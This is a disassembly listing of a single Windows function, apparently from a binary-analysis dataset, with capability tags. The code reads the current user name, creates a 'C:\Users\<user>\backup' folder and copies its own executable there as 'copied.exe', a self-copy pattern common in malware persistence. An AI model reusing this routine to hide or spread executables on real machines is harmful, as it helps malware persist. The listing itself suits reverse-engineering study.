Function at 0x140001904
Capabilities:
Copy file
Create directory
Get session user name

Disassembly:
push rbp
push rbx
sub rsp, 0x2f8
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x290], rcx
mov dword [rbp + 0xfc], 0x104
lea rdx, [rbp + 0xfc]
lea rax, [rbp + 0x100]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_GetUserNameA]
call rax
lea rax, [rbp + 0x25e]
mov qword [rbp + 0x268], rax
nop
nop
lea rcx, [rbp + 0x25e]
lea rdx, [rbp + 0x100]
lea rax, [rbp + 0x230]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x210]
lea rdx, [rbp + 0x230]
mov r8, rdx
lea rdx, str.C:Users_
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____char_const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0xd0]
lea rdx, [rbp + 0x210]
lea r8, str._backup_
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x210]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x230]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x25e]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0xd0]
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::c_str() const
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
call rax
lea rax, [rbp - 0x40]
mov r8d, 0x104
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call rax
lea rax, [rbp - 0x60]
lea rdx, [rbp + 0xd0]
lea r8, str.copied.exe
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__char_const_
lea rax, [rbp - 0x60]
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::c_str() const
mov rdx, rax
lea rax, [rbp - 0x40]
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CopyFileA]
call rax
test eax, eax
setne al
test al, al
je 0x140001a73
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0x290]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
jmp 0x140001ac2
lea rax, [0x14003a148]
mov rcx, rax
call sym.logPrint_wchar_t_const_
lea rax, [rbp + 0x25f]
mov qword [rbp + 0x260], rax
nop
nop
lea rdx, [rbp + 0x25f]
mov rax, qword [rbp + 0x290]
mov r8, rdx
lea rdx, [0x14003a17a]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x25f]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0xd0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
jmp 0x140001b6b
mov rax, qword [rbp + 0x290]
add rsp, 0x2f8
pop rbx
pop rbp
ret